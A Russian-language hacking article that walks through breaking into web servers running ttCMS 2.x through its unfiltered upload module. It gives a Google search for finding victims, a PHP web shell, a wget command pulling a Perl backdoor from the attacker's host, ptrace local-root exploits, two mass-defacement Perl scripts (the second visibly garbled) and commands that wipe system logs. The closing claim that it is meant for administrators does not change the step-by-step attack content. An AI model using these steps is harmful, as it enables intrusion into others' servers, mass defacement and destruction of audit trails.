Найденный баг

В этой статье мы хотим рассказать о
несостоятельности всяческих систем
администрирования, которые начали
заполнять просторы интернета. Все сайты на
одно лицо, у всех одни и те же уязвимости (Баг-Траки
просто увязли в уязвимостях PHP-Nuk'а).

Все началось с того, что мы обнаружили
уязвимость в ttcms (http://ttcms.com).
Мы не стали разбираться в каких версиях
этот баг пофиксили, но 2.х версии
практически все уязвимы. Каждый
пользователь может по умолчанию загружать
файлы на сервер через модуль upload. При этом в
ttcms не фильтруются загружаемые файлы по
расширению. То есть любой файл, загруженный
нами, может быть доступен по адресу:

http://жертва/ttcms_directory/files/file.php

При определенных настройках ttCMS, загружать
файлы может только пользователь из группы
администраторов (опять-таки, расширения не
фильтруются). Но это тоже дело поправимо (в
том же ttforum существует прекрасная
возможность SQL Injection )

О найденном баге (на securityfocus, кажется, об
этом не говорили) мы сообщили производителю.
Но ни ответа, ни привета мы не получили… Ну
что ж, это снимает с нас часть
ответственности =)

Наши цели и общая концепция взлома

Сначала, чтобы вы не просто долбились в шары,
описываем общую концепцию взлома и
набрываем полный план взлома:

  • Ищем жертву, т.е. сайт с установленным ttCMS.
  • С помощью найденной нами уязвимости
    закачиваем на сервер нужные нам файлы (об
    этом позже и подробней). 

  • Делаем себе шелл на сервере с помощью
    скрипта на перле.

  • Изучаем систему, на которой стоят наши
    подопечные.

  • Ищем нужные локальные эксплоиты.
  • Получаем r00t - :).
  • Делаем массовый дефейсинг, чистим логи и
    идем пить пиво.

Разбор полетов окончен. Испугавшиеся
могут плакать под одеялом, а жаждущие
действий начинают танцевать от печки. Как
видите, ничего супер_мега кульного нету во
взломе сервера. Не буду говорить, что нужны
ум и руки (Для тех, кто пишет в описаниях
взлома, что руки должны быть прямыми: РУКИ
НЕ ДОЛЖНЫ БЫТЬ ПРЯМЫМИ. ОНИ ДОЛЖНЫ ГНУТСЯ В
ЛОКТЯХ!!!)

Начинаем поиск. Внедрение 

Как мы уже сообщили, множество
администраторов сайтов ставят себе
подобную продукцию. Для того, чтобы
убедится в этом, да и просто для поиска
будущей жертвы, заходим на www.google.com и пишем
совершенно заурядную фразу: "Powered ttcms".
И вот результат. Несколько страниц - все это
можно иметь. Сразу и много. Выбираем любой
сайт и регистрируемся там. Важно: указать
действующий мэйл, ибо сразу туда придет
линк подтверждения регистрации. Жмете на
него и вы теперь любимый гость на сайте-жертве.

А вот и начинается веселуха. Смотрим меню и
выбираем раздел Upload.

И начинаем закачивать файлы. Вот тут я
расскажу о том, как использовать этот дар
достойно настоящего джентльмена нулей и
единичек. Предлагаю закачать единственный
файл - cmd.php. Содержание его позволит нам
выполнять команды прямо в урле, и этот же
файл позволит нам заливать файлы уже самим.
Создаем у себя на диске файл cmd.php:

<pre>
<? passthru($cmd); ?>
</pre>

И заливаем через обговоренный модуль Upload.

Как упоминалось в начале статьи, урл к cmd.php
будет такой:

http://жертва/ttcms_directory/files/cmd.php

Ищем его и начинаем творить беспорядки.
Синтаксис выполнения команд следующий:
cmd.php?cmd=КОМАНДА (конечно же команды
варьируются в зависимости от операционной
системы подопытного). Не будем описывать
взлом какой-нибудь редкой оси, а возьмем
ставшую обычной Unix систему:

http://жертва/ttcms_directory/files/cmd.php?cmd=ls -la

Что за чудо? Мы видим файлы и папки каталога
files. Он теперь у нас корневой. Набираем ls -la и
любуемся результатом. Теперь все в наших
руках. 

Запускаем бэкдор 

Разобрались с командами? Теперь нам пора
заливать нужные файлы. Наша промежуточная
цель - нормальный шелл на сервере (т.к. не
всякий эксплоит можно запустить через php
шелл). Для начала давайте определимся с тем,
какая же у нас ОСь. Команда uname -a выдаст нам
что-то вроде:

Linux letshack.net 2.4.18-2.4.18 #1 SMP Thu Mar 20 14:01:07 EST 2003 i686
unknown 

Итак, это линукс. Ну что, теперь делаем себе
шелл используя простенький
бэкдор
, написанный на перле. 

Сначала расскажу его суть. Он открывает нам
доступ к серверу на порт 55556 (смотри код - и
меняй себе порт на любой, какой понравится).
То есть нам просто надо законнектится туда:

telnet www.жертва.com 55556. 

Но сначала нужно залить его на сервер. По
умолчанию в Linux есть чудненькая утилитка wget.
Используем ее в наших целях:

http://жертва/ttcms_directory/ files/cmd.php?cmd=wget -O shell.pl
http://YOU_SITE/shell.pl

Теперь надо запустить этот бэкдор:

http://жертва/ttcms_directory/files/cmd.php? cmd=perl shell.pl

Ну, труби марш! Командовать парадом будем МЫ!

Покажем буржуям настоящего r00t'а 

Теперь, когда бекдор запущен, нам нужно
законнектится к серверу. Сделать это можно
при помощи обычного телнета: 

telnet www.жертва.com 55556

После каждой команды нужно ставить ";",
так уж бэкдор устроен, ничего личного.
Теперь, когда мы внутри, пора осмотреться.
Что мы видим? Опять же мы находимся в папке
files, и опять она корневая:

После того, как вы побаловались с
содержимым, пора подумать над большим.
Получить надо рута, потому что статус nobody
нам жить спокойно не даст (чтобы смотреть
ваши права, наберите команду id;).

Поиск эксплоитов это отдельный разговор.
Ориентируемся на то, что у нас Linux, а не так
давно увидели свет 2 замечательных
локальных эксплоита для ptrace. По заверениям
создателей, использовавший их получит
супер-права в ядре Linux версий ниже 4.2.20.
Зовутся они ptrace-kmod.c и myptrace.c. Рекомендуем
второй эксплоит, т.к. он дает рут шелл на
новом порту. Скачать эти эксплоиты можно на
сайте packetstormsecurity.nl
- наберите в поиске ключевое слово ptrace.
Точно так же как и предыдущие файлы
закачиваем их в нашу папочку files и запускаем.
Но сначала их, конечно же, нужно
скомпилировать:

gcc -o myptrace myptrace.c;
./myptrace;

Если не сработало, то версия оси не подходит
(а может и сама ось, как распознать ось
писать не буду, команда uname -a может врать),
если же вас пожалел админ, то у вас
откроется новый шелл уже с рутовскими
привилегиями. Коннектимся уже к нему: 

telnet www.жертва.com 24876.

Я внутри. Где голые тетки? 

Ради голых теток надо потрудится немного.
Что нам нужно? Нам нужен массовый дефейс. Но
сначала нам нужно узнать, какими сайтами
располагает данный сервер. Для этого нам
нужно скачать конфиг апача (это самый
популярный сервер, наверняка в твоем случае
окажется именно он). Для этого нам нужно
перенести его в папку files, дать ему
подходящие атрибуты и скачать:

cp /usr/local/ apache/conf/httpd.conf /home/жертва.com/ httpd.conf;

Или просто выводим на экран: cat
/usr/local/apache/conf/httpd.conf
apache/conf/ - может варьироватся (случаи бывают
разные - ищи);
/home/жертва.com/ - полный путь к папке сайта,
который мы ломали (узнаешь командой pwd).

Если вы обратитесь уже к перенесенному
файлу через веб, то вас ждет результат Forbiden.
Нам нужно установить атрибуты, походящие
для скачивания:

chmod 777 /home/жертва.com/httpd.conf;

Теперь качайте и смотрите полную инфу о
сайтах: урлы, полные пути, индексы и т.д. Наша
задача это масс дефесинг. То есть
задефейсить сразу и все сайты. Существуют
несколько скриптов, которые могут
облегчить это дело. 

Скрипты для масс-дефейсинга 

Для начала вам нужно закачать на сервак
собственный дефейс. Вот скрипт, но нужно
записать все пути к сайтам в файл /tmp/path.txt (или
можно просто в коде вместо path.txt указать
/etc/passwd). В общем читайте код:

#!/usr/bin/perl -w
use strict;
my $yourmsgfile="/tmp/123.html"; 
open(MSG,"$yourmsgfile") || die $!;
my @msg=<MSG>;
close(MSG);

my ($file,@file);
open(USERS,"/tmp/path.txt") || die $!;
while($file=<USERS>){
@file=split(/:/,$file);
if (-e "/home/$file[0]"){
print "changing file in /home/$file[0]...\n";
open(REPLACE,">/home/$file[0]/public_html/index.html") || die $!;
print REPLACE @msg;
close(REPLACE);
}
}
close(USERS);

А вот скрипт, написанный нашими друзьями из
DHG:

#!/usr/bin/perl 
#d86deface.pl - mass deface tool 
#This script reads paths to all www-sites from apache httpd-conf 
#and then deface them. It's perfect tool for mass deface web-hostings! 
#Edit this fiields:
#apache httpd-conf (/etc/httpd/conf/httpd.conf - Linux; for *BSD* try another
one) $httpdconf="/etc/httpd/conf/httpd.conf"; 
#file to deface 
$index = "index.html";
#1 - save all founded urls to file /tmp/urls.log; 0 - don't save $log = 1;
#deface text 
$deface = << "EOF"; 
GipsHack Crew owened this site! Best regards to uncle Freid.

EOF $i = 0; 
print "###############################\n";
print "#d86deface.pl - mass deface script\n
#Type 'head d86deface.pl' for more info\n
#www.dhgroup.org :: D4rkGr3y\n";
print "###############################\n\n";
open(HANDLE,"$httpdconf") or die "damn: $!"; 
open(LOG, ">/tmp/urls.log") if $log; 
print "[+] httpd.conf opened\n"; 
print "So let's start the dance ;D\n\n"; 
while() { 
if ($_ =~/DocumentRoot/)
{ (undef,$path)=split(' '); deface($path); } 
if ($_ =~/ ServerName/) { (undef,$host)=split(' '); 
if (length($host)>3) { $url = "$host"; print LOG "$url\n"
if $log; }
else { $url = "$null"; }


close(LOG) if $log;
close(HANDLE); 
print "\nIt's all! Defaced $i sites\n\n"; 
print "ps. remember, deface is a lame stuff :p\n"; 
sub deface { print "$path/$index ($url) ->"; 
open(DEF, ">$path/$index") or print " error ($!)\n" and
goto ennd;
print DEF "$deface"; 
print " defaced\n"; 
$i++;
close(DEF); 
ennd: 
}
#eof

Как вы поняли, нужно сохранить это в файл
типа script.pl и запустить: perl script.pl; (впрочем,
расширение тут роли не играет).

За нами следит дядька Лог

Заметать следы надо зверски, не жалея
средств, пота и слез. Для того, чтобы вы
знали что удалять, предлагаю вашему
вниманию отрывок из статьи всё той же
распавшейся GIN группы:

В зависимости от версии и разновидности
систем Юникс файлы и содержащие их
директории будут различны. Наиболее
распространённые директории лог-файлов
таковы:

/var/log - используется в некоторых версиях
Solaris, LinuxBSD и FreeBSD.
/usr/adm - распространено среди систем ранних
версий.
/var/adm - здесь содержаться логи более свежих
систем.
/etc - большинство версий Юникс хранят utmp,
некоторые wtmp с syslong.conf.

В системе так же располагаются
соответствующие лог-файлы:

lastlog - Логи последних логинов каждого
пользователя, и иногда логи последних
неверно введёных логинов.
loginlog - Записи ввода всех неверных логинов.
messages - Записи вывода на системную консоль (т.е.
всё то, что пишет тебе на терминал система) и
другие сообщения от syslog.
security - Запись всех атак, использующих uucp
систему.
sulog - Логи команды SU.
acct OR pacct - Пишет команды, используемые каждым
пользователем.
access_log - Для серверов NCSA HTTPd. Этот лог хранит
информацию о сайтах, контактируемых с
сервером.
aculog - Хранит записи исходящих модемных
связей.
utmp - Запись всех посещений системы
пользователями.
utmpx - Удлинённый utmp.
uucp - содержит логи пересылок, различных
контактов и активности пользователя.
vold.log - сборщик внешних ошибок лог-файлов.
xferlog - логи FTP доступов.

Вот такие папочки существуют. Наша задача
удалить их содержимое. То есть команда rm *.*;
удалит все файлы и наши следы (полезно
использовать с командой rm флаги: для
удаления каталога -R, для удаления файлов
без вопросов -f, и чтоб никто не смог
восстановить файлы -P). Пусть админ,
проснувшись рано утром, злой и с больной
головой, не найдет нас, ибо нефиг.

Все это тоже можно внести в скрипт для
дефейса или сделать простой скрипт на bash
типа 

#!/bin/sh
rm -f /home/logs/*
kill 'cat /var/run/syslogd.pid'
rm -f /var/log/*
rm -Rf /var/log 

или что-то в этом духе =)

Мораль сей басни

Мораль сей басни такова: не надо
пользоваться готовыми скриптами (и
готовыми эксплоитами 🙂 ), т.к. они содержат
еще больше багов, чем ваше собственное
творение. Если уж чем-то пользоваться, то: 

  1. Следить за баг-треками.
  2. Вносить необходимые изменения для
    безопасности скриптов.

На самом деле, надоели все эти сайты клоны,
которые трудно отличить друг от друга. Где
же индивидуальность?

Не стоит обвинять нас в том, что все
описание взлома спровоцирует новые
беспорядки в сети! Статья написана для
администраторов, чтобы показать все ошибки,
которые содержит их обеспечение, а также
халатность в отношении "латания дыр".
Это не руководство к действию. Мы не несем
никакой ответственности, т.к. это довольно
простой пример взлома, научиться которому
может каждый не обделенный результатами
тестов на IQ. Небольшим итогом тестирования
инета на этот баг стали эти скромные
дефейсы:

Список

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии